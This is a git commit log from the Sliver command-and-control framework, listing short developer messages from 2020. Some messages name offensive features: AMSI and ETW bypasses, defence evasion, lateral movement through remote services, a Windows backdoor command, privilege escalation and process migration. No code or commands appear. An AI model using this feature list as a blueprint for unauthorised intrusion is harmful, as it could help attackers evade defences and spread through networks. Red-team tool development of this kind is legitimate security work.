rkervella 6a052797d6 Fix https stage listener issues 2020-08-03 17:02:07 +02:00
Ronan Kervella 9e70227d00 Merge pull request #229 from BishopFox/chroma
Add colored output
2020-07-24 17:54:03 +02:00
rkervella a8a505a443 Remove duplicate flags -- for real 2020-07-24 14:40:00 +02:00
rkervella fd85c5c1b2 Remove duplicate flags 2020-07-24 14:38:57 +02:00
rkervella ab6a542b25 Add colored output 2020-07-24 14:36:26 +02:00
Joe 225d857981 Merge pull request #228 from ahhh/master
Fix flags in multiplayer menu
2020-07-20 12:56:01 -05:00
Dan Borges c9ca50757a Update console.go 2020-07-18 14:13:44 -07:00
Dan Borges 93f36a07f8 Merge pull request #1 from BishopFox/master
Update
2020-07-18 14:10:41 -07:00
Ronan Kervella 9a4c1e6ea9 Merge pull request #227 from hypnoticpattern/hp-fix-download-symlink
Fixed folder download with symlinks
2020-07-17 09:53:30 +02:00
hypnoticpattern 5a944f2487 Fixed folder download with symlinks 2020-07-16 23:51:42 -07:00
Ronan Kervella e3902dab82 Merge pull request #224 from BishopFox/stage
Fix crashes, and add some enhancement to windows tasks
2020-07-11 12:17:01 +02:00
rkervella 517fbbed40 Make the process configurable for execute-shellcode --interactive 2020-07-11 11:58:38 +02:00
rkervella 48072f9fcb Add amsi and etw bypass flags to extensions 2020-07-11 11:56:21 +02:00
rkervella 0e56736ef3 Start process in suspended mode to prevent original executable from running 2020-07-11 11:51:49 +02:00
rkervella 08f2c9a337 Disable AMSI and ETW bypasses by default 2020-07-11 11:34:36 +02:00
rkervella d1135b65ae Fix debug print 2020-07-11 11:15:56 +02:00
rkervella 8351b30416 Add error handling to Process.Kill() 2020-07-11 11:11:55 +02:00
rkervella b962146b95 Add missing evasion flag to new-profile 2020-07-11 11:11:38 +02:00
Joe 46e5b1548a Merge pull request #223 from C-Sto/evasion_optional
optional evasion, looks good to me overriding signed commit requirement.
2020-07-10 11:31:59 -05:00
C-Sto 4993c2419e fix session evasion element 2020-07-10 15:59:08 +08:00
C-Sto ae67b4a229 optional evasion 2020-07-10 15:40:44 +08:00
rkervella cc952ed239 Update go.yml: fix language settings 2020-07-08 11:32:59 +02:00
rkervella 4275bf3771 Update go.yml 2020-07-08 11:13:22 +02:00
Ronan Kervella 2bc53dc994 Update go.yml 2020-07-08 11:12:02 +02:00
rkervella 191d5b44c5 Codeql github action 2020-07-08 11:09:48 +02:00
Joe 2295a995f9 Delete _config.yml 2020-06-30 09:19:50 -05:00
Joe 4651129fc2 Set theme jekyll-theme-hacker 2020-06-24 07:36:19 -05:00
delta-plus 012cf484fb Added blank default argument to execute-assembly. Avoids the need to pass dummy arguments to executables that don't need them. 2020-06-23 14:14:26 -07:00
Joe 58e1cbd60e Update README.md 2020-06-10 20:04:16 -05:00
Joe 42e6efd482 Merge pull request #214 from mfaerevaag/master
Fix readme's related to `server/daemon` - No code changes, overriding signed commit restriction. Thanks for the help!
2020-06-10 15:14:34 -05:00
Ronan Kervella 5dbcec80de Merge pull request #213 from BishopFox/binject
Binject
2020-06-10 21:24:11 +02:00
Markus Faerevaag d589e312d3 Add description of daemon package 2020-06-10 21:18:26 +02:00
Markus Faerevaag be725f8f61 Fix typo in file name 2020-06-10 21:13:21 +02:00
rkervella d4f3a0ffcb Add missing file 2020-06-10 20:54:22 +02:00
rkervella 3c3ce24316 Add backdoor command for Windows. 2020-06-10 20:28:30 +02:00
rkervella 09cff82669 Fix service parameter passing. 2020-06-10 18:09:19 +02:00
Joe d110e182f6 Merge pull request #212 from BishopFox/lateral-movement
Lateral movement
2020-06-10 07:25:36 -05:00
rkervella 2c8fc4ba5d Add some warnings for bad opsec 2020-06-10 13:22:07 +02:00
rkervella c18b1d19bd Implement lateral movement for Windows
Combine upload and remote service creation to spawn new sessions.
2020-06-10 10:38:52 +02:00
rkervella 67d1d5bb2b Merge branch 'master' of bishopfox.github.com:BishopFox/sliver 2020-06-09 18:21:35 +02:00
Joe d6ecb58f45 Merge pull request #210 from BishopFox/stage
Fix the execute command.
2020-06-09 07:57:10 -05:00
rkervella 6965a8ac1b Fix rev2self message type 2020-06-09 13:58:22 +02:00
rkervella c4f6942643 Bump version 2020-06-09 10:45:07 +02:00
rkervella 71afcafd10 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2020-06-09 10:44:45 +02:00
rkervella e17980bef3 Fix shellcode generation/selection for getsystem and migrate 2020-06-09 10:44:34 +02:00
rkervella 7432cb8d2c Display C2 info for slivers command. 2020-06-09 10:43:41 +02:00
moloch-- 057d1aafb9 Merge branch 'stage' of github.com:BishopFox/sliver into stage 2020-06-08 16:48:58 -05:00
moloch-- cd2d7b6954 Added -trimpath to server/client builds 2020-06-08 16:48:51 -05:00
rkervella b8ccc8d03c Reuse the same implant name while migrating to new processes. 2020-06-08 17:09:34 +02:00
rkervella 86af40b9e1 Bump version 2020-06-08 17:00:21 +02:00
rkervella 79d86be521 getsystem and migrate now use generate.SliverShellcode.
Fix the token impersonation regression on `shell`.
2020-06-08 16:59:19 +02:00
rkervella 86cc58691e Add back the export name while calling getsystem. 2020-06-08 16:25:15 +02:00
rkervella 0cf195801c Bump version 2020-06-08 16:17:46 +02:00
rkervella 1269673459 Fix the execute command. The silent flag was misinterpreted. 2020-06-08 16:10:41 +02:00
rkervella 8eae752cb2 Merge branch 'master' of bishopfox.github.com:BishopFox/sliver 2020-06-08 16:07:45 +02:00
Joe 3904c41b0a Merge pull request #209 from BishopFox/stage
Stage
2020-06-08 09:00:43 -05:00
moloch-- 71d7349628 Fix regression: server does not automatically unpack assets 2020-06-08 08:40:55 -05:00
moloch-- 1e3a26fa64 v1.0.3 2020-06-08 07:42:50 -05:00
rkervella 6c8ac0ad38 Merge branch 'master' of bishopfox.github.com:BishopFox/sliver 2020-06-08 09:19:25 +02:00
Ronan Kervella 5931bf8498 Merge pull request #208 from BishopFox/stage
Stage
2020-06-08 09:14:38 +02:00
moloch-- 2f12c3e08d Moved server/encoders to util/encoders so both server/client can use the pkg 2020-06-07 08:08:22 -05:00
moloch-- 2ab60a4afa Moved server/encoders to util/encoders so both server/client can use the pkg 2020-06-07 08:08:13 -05:00
moloch-- 90aa7a1555 Added --force and --recrusive to rm command 2020-06-06 14:24:36 -05:00
moloch-- 982491606e Fix for issue #205, added a --force flag to terminate for PIDs 0 and 1 2020-06-06 12:49:42 -05:00
moloch-- cd9740de8c Respond gracefully to unknown envelope types, issue #207 2020-06-06 12:10:54 -05:00
moloch-- 7380f0ee2a Merge branch 'stage' of github.com:BishopFox/sliver into stage 2020-06-06 08:12:54 -05:00
moloch-- 6ff491f07c Fix math around calculating --timeout related to issues #204 and #198 2020-06-06 08:12:46 -05:00
rkervella 80137b89a5 Revert "Monitor WIP"
This reverts commit 9d1333114e.
2020-06-05 14:41:37 +02:00
rkervella 9d1333114e Monitor WIP 2020-06-05 14:40:25 +02:00
Joe 096a77a747 Merge pull request #201 from BishopFox/stage
Stage
2020-06-03 07:06:19 -05:00
rkervella 9450303886 Update hosting CLR DLL.
Add ETW evasion flag and dynamically compute the DLL entrypoint offset.
2020-06-03 12:04:45 +02:00
Ronan Kervella 036d616bcb Merge pull request #200 from BishopFox/stage
Stage
2020-06-03 08:57:25 +02:00
rkervella fa88235384 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2020-06-03 08:56:06 +02:00
moloch-- df7629d455 moved github pages content to docs/ 2020-06-02 19:23:52 -05:00
rkervella 094249b08e Set the proper help group for terminate 2020-06-02 18:46:14 +02:00
moloch-- f317e349f9 Merge branch 'master' into stage 2020-06-02 11:31:05 -05:00
Joe 82257e349f Create CNAME 2020-06-02 11:09:35 -05:00
Joe 06fbbb84da Set theme jekyll-theme-hacker 2020-06-02 11:09:11 -05:00
moloch-- 498161c27d Updated to Go v1.14.4, updated workflow to only run on PR to master or in test/* branches 2020-06-02 08:45:33 -05:00
moloch-- 71f3cfa5d4 Merge branch 'stage' of github.com:BishopFox/sliver into stage 2020-06-02 07:31:19 -05:00
moloch-- 522c1dad01 only run workflow on PR to master 2020-06-02 07:31:13 -05:00
Joe 8f5e285f16 Merge pull request #196 from BishopFox/stage
Add time info to new session event message
2020-06-02 07:15:00 -05:00
rkervella 3b37b0b17a Add time info to new session event message 2020-06-02 09:56:22 +02:00
Ronan Kervella 1e8b67f563 Merge pull request #195 from BishopFox/stage
I assume we still need to fix the github action for MacOS
2020-05-29 11:35:39 +02:00
moloch-- 4b23467af6 fix duplicate request header in ping grpc 2020-05-28 19:07:34 -05:00
moloch-- 9d37e1a554 Fix nil deref on messages lacking request object 2020-05-28 11:13:57 -05:00
Joe ae9c402acf Merge pull request #194 from BishopFox/extensions
Extensions
2020-05-28 07:29:04 -05:00
rkervella cb95ce4cd6 Add save option to sideload/spawndll/execute-assembly 2020-05-28 10:00:29 +02:00
rkervella f6b1c565aa Merge branch 'master' into extensions 2020-05-28 09:43:48 +02:00
Ronan Kervella 7a4af40463 Merge pull request #191 from BishopFox/stage
Stage
2020-05-27 15:37:12 +02:00
rkervella 8b9976a54f Add save option to extension commands. 2020-05-27 13:44:40 +02:00
rkervella b215d81a55 Change execute assembly output to bytes to take edge cases into account. 2020-05-27 13:34:07 +02:00
moloch-- 9586f3aeb6 removed stage from pull_request trigger 2020-05-25 20:32:53 -05:00
moloch-- ae7c803f69 updated to v1.0.1 2020-05-25 20:31:37 -05:00
moloch-- 7d44da6e04 added npm/ts to ci steps 2020-05-25 20:03:33 -05:00
moloch-- f11cec5094 reordered ci steps 2020-05-25 19:31:33 -05:00
moloch-- bdc3bfb7c3 Adding ci 2020-05-25 19:10:58 -05:00
moloch-- aa35080adc Added certs import/export commands to cli 2020-05-25 18:51:25 -05:00
moloch-- 307a313b3c fix workflow syntax 2020-05-25 15:36:07 -05:00
moloch-- 2432f47869 updated dockerfile and workflow to use new cli 2020-05-25 13:36:08 -05:00
moloch-- 7e7d038827 added cobra command cli 2020-05-25 13:30:09 -05:00
moloch-- 13b302d446 cross compile to windows, and playing around with ci 2020-05-25 12:15:15 -05:00
moloch-- 3369dbdc1f added windows artifacts 2020-05-25 11:57:32 -05:00
moloch-- a461f024e7 removed seperate static build step 2020-05-25 11:35:13 -05:00
moloch-- 0b29a742fd Lower case name 2020-05-25 11:16:53 -05:00
moloch-- 0363383dfa Moved make static-os to seperate step 2020-05-25 11:16:08 -05:00
moloch-- 82cdf57428 Added unit tests to macos build (and mingw) 2020-05-25 11:14:13 -05:00
moloch-- f0c9afaa2c updated protoc version 2020-05-24 09:56:47 -05:00
moloch-- 4583e3cada added macos workflow 2020-05-24 09:40:40 -05:00
moloch-- 7321727575 created stage branch 2020-05-24 09:36:24 -05:00
moloch-- 7129350861 created stage branch 2020-05-24 09:35:19 -05:00
Joe a1241a2889 Merge pull request #187 from BishopFox/docs
Docs
2020-05-20 08:02:11 -05:00
Ronan Kervella 84736d5ef5 Merge branch 'master' into docs 2020-05-20 14:48:33 +02:00
Joe f593e3e848 Run build on PR 2020-05-20 07:37:49 -05:00
Ronan Kervella 86f2a96e81 Add back extension help 2020-05-20 09:16:38 +02:00
Joe b8228b466e Update README.md 2020-05-19 11:08:08 -05:00
Joe 23966f17b9 Updated Go worflow
Added mingw back in
2020-05-19 10:56:26 -05:00
Joe 922f963bde Update go.yml 2020-05-19 10:46:02 -05:00
Joe 906221546d Updated Go workflow 2020-05-19 10:40:26 -05:00
Joe 22d16a6244 Updated workflow 2020-05-19 10:39:55 -05:00
Joe 5562c2845c Applying Github workflow action to master 2020-05-19 10:30:36 -05:00
moloch-- 9d2338f7bc added phony release target 2020-05-19 10:20:55 -05:00
Ronan Kervella da78272fb9 Unset env variables for DYLIB 2020-05-19 13:59:34 +02:00
Ronan Kervella b7ca85b9dc Fix #183 - Failed to Bind for Stager Listener 2020-05-19 09:28:11 +02:00
moloch-- 5041aa19e0 added a 'make release' rule 2020-05-15 15:57:41 -05:00
moloch-- ad7ee93c64 Merge branch 'master' into grpc 2020-05-15 15:27:28 -05:00
moloch-- 7af46a2d30 Merge branch 'grpc' of github.com:BishopFox/sliver into grpc 2020-05-15 15:27:20 -05:00
moloch-- f07fa49227 Merge branch 'master' into grpc 2020-05-15 15:24:25 -05:00
Ronan Kervella 66d810c023 Add vanilla knowProcs for Defender 2020-05-15 11:28:24 +02:00
Ronan Kervella 7283c8beda Merge branch 'grpc' of bishopfox.github.com:BishopFox/sliver into grpc 2020-05-15 11:21:22 +02:00
Ronan Kervella b6c6c3926f Add spinner 2020-05-15 11:20:19 +02:00
moloch-- f5e2c5eb7f Merge branch 'grpc' of github.com:BishopFox/sliver into grpc 2020-05-14 07:50:30 -05:00
moloch-- 6001554175 switched back to ECC for client certs 2020-05-14 07:50:24 -05:00
Ronan Kervella 3f47ab9088 Rename stage variable 2020-05-14 11:12:32 +02:00
Ronan Kervella 0bf9ddf2b5 Return 404 when there is no stage to server 2020-05-14 11:09:46 +02:00
Ronan Kervella 2616c008e1 Add spinner for generate stager 2020-05-14 10:51:55 +02:00
Ronan Kervella e0a80d6ea1 Add obfuscation and format details to profiles 2020-05-14 10:15:57 +02:00
moloch-- e72730ed94 switched back to ECC for client certs 2020-05-13 16:59:03 -05:00
moloch-- 1662207a24 Switched back to TLSv1.3 for client listener 2020-05-13 16:50:59 -05:00
moloch-- 5809fb19be added 1hr grace period to compile/created 2020-05-13 16:25:11 -05:00
moloch-- d365f9cbe9 improved update message logic 2020-05-13 15:39:13 -05:00
moloch-- b2c38e801c Merge branch 'grpc' of github.com:BishopFox/sliver into grpc 2020-05-13 15:24:59 -05:00
moloch-- fec8b9e847 notify user about 'update' cmd 2020-05-13 15:24:54 -05:00
rkervella 2dd51021ad Add pivot flags to new-profile command 2020-05-13 17:27:05 +02:00
Ronan Kervella a1b3487d40 Fix go generate command to match proper filenames 2020-05-13 16:31:00 +02:00
Ronan Kervella 4a527633d1 Add license 2020-05-13 15:36:02 +02:00
moloch-- bf7e747237 implemented more verbose version info and update command 2020-05-13 07:53:42 -05:00
moloch-- 10f736d944 Merge branch 'h4ng3r-grpc_smb' into grpc 2020-05-12 19:42:39 -05:00
moloch-- 17354377c9 Merge branch 'grpc_smb' of https://github.com/h4ng3r/sliver into h4ng3r-grpc_smb 2020-05-12 19:38:33 -05:00
bishopfox e17c733d12 Use generic response error on pivots 2020-05-12 21:51:25 +02:00
moloch-- 1792a3e9a0 updated readme 2020-05-12 07:28:52 -05:00
bishopfox 7f5b66d297 Fix issues after rebase 2020-05-12 10:37:45 +02:00
bishopfox 8d7c6a0f01 Merge Named Pipes and TCP Pivots to GRPC branch 2020-05-11 18:33:57 +02:00
moloch-- dd5747d4db randomize php and apache versions 2020-05-10 16:43:27 -05:00
moloch-- 31d392df90 updated our apache and php versions 2020-05-10 16:20:31 -05:00
moloch-- 976b51cf34 fixed erronious log message (POST->GET) 2020-05-10 12:32:52 -05:00
moloch-- 38e5145f03 Various small fixes in encoders integration in http c2 2020-05-10 12:27:38 -05:00
moloch-- f54c6f6810 fixed validPayloads case 2020-05-10 07:46:36 -05:00
moloch-- 057011bcf3 Merge branch 'grpc' of github.com:BishopFox/sliver into grpc 2020-05-10 07:41:00 -05:00
moloch-- 7e315d9269 improvements to http/https c2 encoding options 2020-05-10 07:40:54 -05:00
Ronan Kervella 8907ce5fd5 Unexport validFormats and validPayloads 2020-05-09 19:59:34 +02:00
Ronan Kervella 588930e7da Finalizing implant staging, update help strings. 2020-05-09 11:57:35 +02:00
Ronan Kervella 876e638959 Change regexp to handle msf stager callback 2020-05-09 11:41:52 +02:00
Ronan Kervella 30a3efb36c Unset env variables before calling RunSliver 2020-05-09 11:22:52 +02:00
Ronan Kervella 0e8869d458 Randomize HTTP callback URL 2020-05-09 11:22:27 +02:00
Ronan Kervella 82b0c9d0a3 Finalized implant staging 2020-05-09 11:08:11 +02:00
Ronan Kervella 1290145209 Staging WIP 2020-05-08 16:28:32 +02:00
Ronan Kervella 37a468a7c9 Staging WIP 2020-05-08 14:07:20 +02:00
Ronan Kervella 05ada5440f Staging WIP 2020-05-08 12:53:03 +02:00
Ronan Kervella 6c479c7d6d Staging WIP 2020-05-08 12:52:46 +02:00
Ronan Kervella 4066f1af2c Avoid rebuilding new sliver if a DLL exist in migration scenarios 2020-05-07 15:09:52 +02:00
Ronan Kervella a5adf45ce4 Gracefully handle invalid job ID 2020-05-07 14:20:20 +02:00
Ronan Kervella 860c85cf0c Handle invalid job ID gracefully. 2020-05-07 14:19:22 +02:00
Ronan Kervella 1039623a87 Remove obsolete RemoteTask support. Everything is handled by Task. 2020-05-07 14:12:22 +02:00
moloch-- 2873b1e4f6 Updates to grpc/pb 2020-05-06 16:15:49 -05:00
moloch-- baf2145f3d verbose error on db lock failure 2020-05-06 07:58:47 -05:00
moloch-- 2a0c262522 verbose error on db lock failure 2020-05-06 07:56:33 -05:00
moloch-- c1310c422f verbose error on db lock failure 2020-05-06 07:56:06 -05:00
moloch-- 7af210f79e improved website --help 2020-05-05 17:38:48 -05:00
moloch-- 69e0a7774f ported websites cmd 2020-05-05 17:33:56 -05:00
moloch-- 9b415adb49 clean up sloppy file permissions 2020-05-05 09:26:01 -05:00
moloch-- 176dead29d ported profiles 2020-05-05 08:51:38 -05:00
moloch-- 9b3b6c8f9a fixed spelling errors 2020-05-05 07:30:59 -05:00
moloch-- 2e77760e0b Merge branch 'grpc' of github.com:BishopFox/sliver into grpc 2020-05-04 18:07:05 -05:00
moloch-- 137e4d6a63 refactored some generate code 2020-05-04 18:06:58 -05:00
Ronan Kervella d7f1fff45f Fix execute-assembly argument passing 2020-05-04 17:53:12 +02:00
Ronan Kervella d4f1cdbc4f Remove useless timeout flag for load-extensions 2020-05-04 17:36:43 +02:00
Ronan Kervella 31ba371ab9 Add back extensions 2020-05-04 17:34:25 +02:00
Ronan Kervella 5b7da2d9ce Add back extensions 2020-05-04 17:34:14 +02:00
Ronan Kervella 91cec9ac35 Remove elevate RPC command 2020-05-04 16:54:48 +02:00
Ronan Kervella d39220b772 Remove elevate constants 2020-05-04 16:54:25 +02:00
Ronan Kervella 20b7d5ae3d Remove elevate command 2020-05-04 16:53:41 +02:00
Ronan Kervella 66bdd9b35a Change flag to silent 2020-05-04 16:45:24 +02:00
Ronan Kervella 57633a16fb Add missing commands:
- cat / download / upload
- procdump
- screenshot
2020-05-04 16:43:18 +02:00
Ronan Kervella 4e03960f9b Get command output by default 2020-05-04 16:17:10 +02:00
Ronan Kervella 37020e06b0 Add execute back, fix #145 2020-05-04 16:15:21 +02:00
Ronan Kervella f79874335e Merge branch 'grpc' of bishopfox.github.com:BishopFox/sliver into grpc 2020-05-04 15:27:25 +02:00
Ronan Kervella bcbdb9cf72 Add priv support 2020-05-04 15:27:06 +02:00
moloch-- 7a838d7856 imporved logging in daemon mode 2020-05-04 08:10:20 -05:00
Ronan Kervella 8f19aa90a1 Revert back, causes more issues, need to investigate 2020-05-04 10:19:40 +02:00
Ronan Kervella 091e47e04d Convert timeout to seconds so we don't timeout early 2020-05-04 10:01:59 +02:00
Ronan Kervella 9568edbfe4 Return early if the request failed 2020-05-04 10:01:29 +02:00
moloch-- 88ccf69b4f Switch to TLSv1.2, and RSA keys for better grpc compatability 2020-05-03 19:31:20 -05:00
Ronan Kervella 3599c0a7ea Add tasks support 2020-05-03 19:00:37 +02:00
Ronan Kervella 94fe508c46 Add new line 2020-05-03 19:00:05 +02:00
Ronan Kervella a08d347416 Merge branch 'grpc' of bishopfox.github.com:BishopFox/sliver into grpc 2020-05-03 18:56:27 +02:00
moloch-- dc7ed5eef1 Set send and recv msg size 2020-05-03 11:56:04 -05:00
Ronan Kervella 112ce1d608 Merge branch 'grpc' of bishopfox.github.com:BishopFox/sliver into grpc 2020-05-03 18:51:32 +02:00
moloch-- 5a1ec97ed7 increased server-size msg size limit 2020-05-03 11:48:56 -05:00
Ronan Kervella e8e45f7cbb tasks fully ported 2020-05-03 18:45:24 +02:00
Ronan Kervella b734c60b64 Merge branch 'grpc' of bishopfox.github.com:BishopFox/sliver into grpc 2020-05-03 18:08:27 +02:00
Ronan Kervella 281f50c921 tasks wip 2020-05-03 18:08:24 +02:00
moloch-- cba81b72f3 removed job ctrl for daemon mode listener 2020-05-03 11:03:37 -05:00
moloch-- 1499c1abc1 added lic to daemon file 2020-05-03 10:35:29 -05:00
moloch-- d05be69387 added a daemon mode 2020-05-03 10:33:52 -05:00
moloch-- a9101ee65b reimplemented codeToLevel 2020-05-03 08:05:21 -05:00
moloch-- 63b6abcbd0 removed CodeToLevel because grpc-middelware has some terrible example code 2020-05-03 07:42:40 -05:00
moloch-- e60e5c492e minor refactor 2020-05-02 15:54:22 -05:00
moloch-- 1c10e5af28 updated vendor/ 2020-05-02 15:43:28 -05:00
moloch-- d943db524b updated vendor/ 2020-05-02 15:43:04 -05:00
moloch-- bd3c8cd516 updated go mod 2020-05-02 15:42:47 -05:00
moloch-- 04bb708b76 Moved middleware logger to seperate file 2020-05-02 15:31:15 -05:00
moloch-- 7456472652 fixed inf loop in tunnel cleanup 2020-05-02 12:05:24 -05:00
moloch-- 6741184d2c working on debugging infinite loop on 2nd tunnel in same session 2020-05-02 11:46:52 -05:00
Ronan Kervella 9727b54912 Merge pull request #180 from usiegl00/patch-1
Fix typo in generateEgg
2020-04-26 11:15:33 +02:00
usiegl00 958ceccc36 Fix typo in generateEgg
The bool value "skip-symbols" had the short flag set to "s".
The string value "save" also had the short flag set to "s".
I changed the short flag on "skip-symbols" to "b" to match the generate command.
2020-04-26 10:50:36 +09:00
Ronan Kervella 4201565838 Fix wrong alloc size for executeAssembly. 2020-04-23 09:54:33 +02:00
Ronan Kervella bfb1f2e193 Merge pull request #168 from h4ng3r/fix_namedpipes
Fix named pipes write/read with huge data
2020-04-21 15:47:53 +02:00
bishopfox c9cff5a6c3 Move winio to 3rdparty and remove unused entries from srfiles 2020-04-20 10:28:35 +02:00
bishopfox 90e096e3e9 Replace npipe for winio for named pipes 2020-04-20 10:28:35 +02:00
bishopfox 84fded76a2 This should fix everything 2020-04-20 10:28:35 +02:00
bishopfox f12b1c9c46 Add hostname to sessions 2020-04-20 10:28:35 +02:00
bishopfox bbda3c4016 Fix named pipes write/read with huge data 2020-04-20 10:28:35 +02:00
moloch-- 3583034ef3 Fixed path bug in --save flag 2020-04-18 11:05:25 -05:00
moloch-- 3c20b12fab Verbose error on failing to lock database dir 2020-04-16 16:16:23 -05:00
moloch-- 29d8f50747 updated go mod and vendor/ 2020-04-16 16:08:39 -05:00
moloch-- a91a1cff37 updated go mod and vendor/ 2020-04-16 14:13:51 -05:00
moloch-- 9ff88411bd locked packr and protoc-gen-go versions 2020-04-16 08:52:19 -05:00
moloch-- a354136747 updated format of dockerfile cmds 2020-04-16 07:36:22 -05:00
moloch-- b02da95370 updated to v1.14.2 2020-04-15 21:16:39 -05:00
moloch-- b97e918013 removed dep 2020-04-15 17:16:40 -05:00
moloch-- eb2bcd1747 build specific version of protoc-gen-go to fix issue #172 and #174 2020-04-15 16:54:16 -05:00
moloch-- 0422fcdeab wip 2020-04-15 14:09:23 -05:00
moloch-- 73562e85c0 interactive tunnels mostly working, close/eof panics 2020-04-12 12:29:21 -05:00
moloch-- ea22ada986 shell interactive read working 2020-04-12 11:20:35 -05:00
rkervella 651efa4103 Update rdiShellcode to latest version 2020-04-09 17:11:44 +02:00
rkervella 464eb88daa Update deps 2020-04-09 14:48:01 +02:00
rkervella 8d7257c3c6 Fix missing flag on generate-egg 2020-04-07 09:58:40 +02:00
moloch-- f4246d426d Reworking tunnel pattern 2020-04-05 14:17:04 -05:00
moloch-- 1699512c76 Reworking tunnel pattern 2020-04-05 12:25:40 -05:00
moloch-- 8632ec4d95 ActiveSession Get->GetInteractive and GetSilent->Get 2020-04-04 14:46:26 -05:00
moloch-- 88fa4647dc help now calls GetSilent() 2020-04-04 14:31:24 -05:00
moloch-- ec85a02966 dolled up makefile 2020-04-04 14:11:48 -05:00
moloch-- d4b302c556 updated Makefile to use -X for compile time vars 2020-04-04 14:04:40 -05:00
moloch-- 43c8c4b0fe flushing out server-side tunnel pattern 2020-04-04 13:17:06 -05:00
rkervella 5105561248 add netstat back 2020-04-03 16:38:31 +02:00
moloch-- d80104e2bf no recursive rm on master.tar.gz 2020-04-02 07:59:56 -05:00
Joe 3b574008f4 Merge pull request #169 from movonow/terry
switch protobuf repository from googlesource to github
2020-04-02 07:58:23 -05:00
moloch-- f0c211f83b handler refactor 2020-04-02 07:51:35 -05:00
Joe 34291e1a31 Merge pull request #161 from ejohn/file-filter
prevent non os/arch go files from being filtered out
2020-04-02 07:51:01 -05:00
movonow 4439d99d11 switch protobuf repository from googlesource to github 2020-04-02 08:58:31 +08:00
rkervella 080e27e20d Add back go.sum 2020-03-30 18:56:27 +02:00
Ronan Kervella d43991c07d Merge pull request #166 from h4ng3r/named_pipes
Add named pipes pivoting for Windows, close #25
2020-03-30 18:42:25 +02:00
Marc 8c14ff5047 Merge branch 'master' into named_pipes 2020-03-30 18:40:05 +02:00
bishopfox 469a7502f9 Add named pipes pivoting for Windows 2020-03-30 17:48:31 +02:00
rkervella d6f3784a36 fix typo 2020-03-30 17:44:12 +02:00
rkervella 10520e31f9 Enable Truncate to prevent sliver-server to crash on Windows. 2020-03-30 17:44:12 +02:00
rkervella ec5a12e233 Fix execute-assembly 2020-03-30 17:44:12 +02:00
rkervella c3f8813962 add assemblies support 2020-03-30 17:44:12 +02:00
rkervella 7d5f204b04 update vendor 2020-03-30 17:44:12 +02:00
rkervella de44c9cf4a Upgrade deps 2020-03-30 17:44:07 +02:00
rkervella 589cac8228 update extensions 2020-03-30 17:43:19 +02:00
rkervella 752d649d3d Add long help and default parameter support 2020-03-30 17:43:19 +02:00
rkervella b1a6f8ce5f Add extension support. 2020-03-30 17:43:19 +02:00
moloch-- cff903b9c3 tunnel wip 2020-03-29 21:31:04 -05:00
moloch-- e4f0f41f17 updated vendor/ 2020-03-29 19:02:00 -05:00
moloch-- c2dcc5f7a2 updated deps 2020-03-29 19:01:01 -05:00
moloch-- 39dd788ac3 Event refactoring 2020-03-29 18:10:53 -05:00
moloch-- f9b9c3054b Basic events working, refactored client events 2020-03-29 17:46:35 -05:00
moloch-- 3079e2b65d reimplemented events in grpc 2020-03-29 16:43:35 -05:00
moloch-- e1c001ff87 Added default pattern for --timeout 2020-03-29 15:23:26 -05:00
moloch-- 8141903719 fixed issues with mtls client listener/dialer 2020-03-29 12:44:41 -05:00
moloch-- 6315d1f4e4 Fixed bugs in generic handler related to timeout 2020-03-29 11:16:12 -05:00
moloch-- 9d7c72d2d6 fix mutex log in jobs 2020-03-29 10:48:19 -05:00
moloch-- d7da94e71e improved error handling 2020-03-29 10:39:58 -05:00
moloch-- 9df0bc5194 fixed logic errors in generate file save 2020-03-29 10:32:48 -05:00
moloch-- 5e1670597a updated vendor/ 2020-03-29 10:20:50 -05:00
moloch-- f6f48dc854 Improved generate command workflow 2020-03-29 10:20:38 -05:00
moloch-- 88ae4897cc fix animation 2020-03-29 08:55:39 -05:00
moloch-- a85a245f00 windows implant builds 2020-03-29 08:28:36 -05:00
moloch-- 57becf8364 bump go version to 1.14.1 2020-03-28 18:39:05 -05:00
rkervella 80ce48104f fix typo 2020-03-27 15:09:25 +01:00
rkervella d6e4043ff1 Enable Truncate to prevent sliver-server to crash on Windows. 2020-03-27 14:56:04 +01:00
Ronan Kervella bc17b78a93 Merge pull request #165 from BishopFox/extensions
Extensions
2020-03-27 13:57:32 +01:00
rkervella 2100fe8cb2 Fix execute-assembly 2020-03-27 13:16:53 +01:00
moloch-- 44d9f5eb27 refactored version pkg 2020-03-26 21:44:02 -05:00
moloch-- 57c26078d5 refactored version pkg 2020-03-26 20:13:24 -05:00
rkervella e00cc7ebe9 add assemblies support 2020-03-26 17:42:05 +01:00
rkervella 1cf8c97013 merge master 2020-03-26 15:16:49 +01:00
Ronan Kervella 35c8a3cb2a Merge pull request #164 from BishopFox/test/upgraded-deps
update vendor
2020-03-26 13:14:17 +01:00
rkervella a9010ca6a5 update vendor 2020-03-26 12:38:05 +01:00
rkervella de26066cf6 Upgrade deps 2020-03-26 10:23:33 +01:00
rkervella 2b3d661468 Change dep to local dependency 2020-03-26 10:05:25 +01:00
rkervella 06684983aa update extensions 2020-03-26 09:07:34 +01:00
moloch-- 82adb6214e started porting implant code 2020-03-25 21:42:11 -05:00
moloch-- 30cd04dd56 porting more commands 2020-03-25 07:40:42 -05:00
rkervella bc0dc89ce0 Add long help and default parameter support 2020-03-23 18:24:26 +01:00
moloch-- 2beb5f9639 bump version to v0.1.0, fix mutex bug in sessions 2020-03-22 16:55:20 -05:00
moloch-- 29dc7f0667 builds, lots of stuff is still broken 2020-03-22 16:14:38 -05:00
moloch-- 9cd54dbb2c builds, lots of stuff is still broken 2020-03-22 16:14:25 -05:00
moloch-- a9594cca1e client wip, added some streaming endpoints 2020-03-22 11:30:36 -05:00
rkervella 96e1e00dc8 Add extension support. 2020-03-21 11:47:14 +01:00
rkervella 1bdb475c53 Return error when the export address is not resolved. 2020-03-20 16:51:33 +01:00
Eby Issac d433bb9635 prevent non os/arch go files from being filtered out 2020-03-19 16:19:29 -07:00
moloch-- f2a42b8fa7 starting work on the client 2020-03-18 21:33:17 -05:00
moloch-- bca24435b1 refactored named imports that are no longer needed 2020-03-18 07:51:33 -05:00
moloch-- feb54794b9 Merge branch 'master' into grpc 2020-03-17 20:02:43 -05:00
moloch-- ca761e1d7e Merge branch 'master' of github.com:BishopFox/sliver 2020-03-17 19:50:24 -05:00
moloch-- 670ed33f68 changed -config to -import in client 2020-03-17 19:50:15 -05:00
Joe acce6d465f Merge pull request #159 from hypnoticpattern/multiplayer-kick
Implemet kick-player functionality and client certificate verification
2020-03-17 19:47:15 -05:00
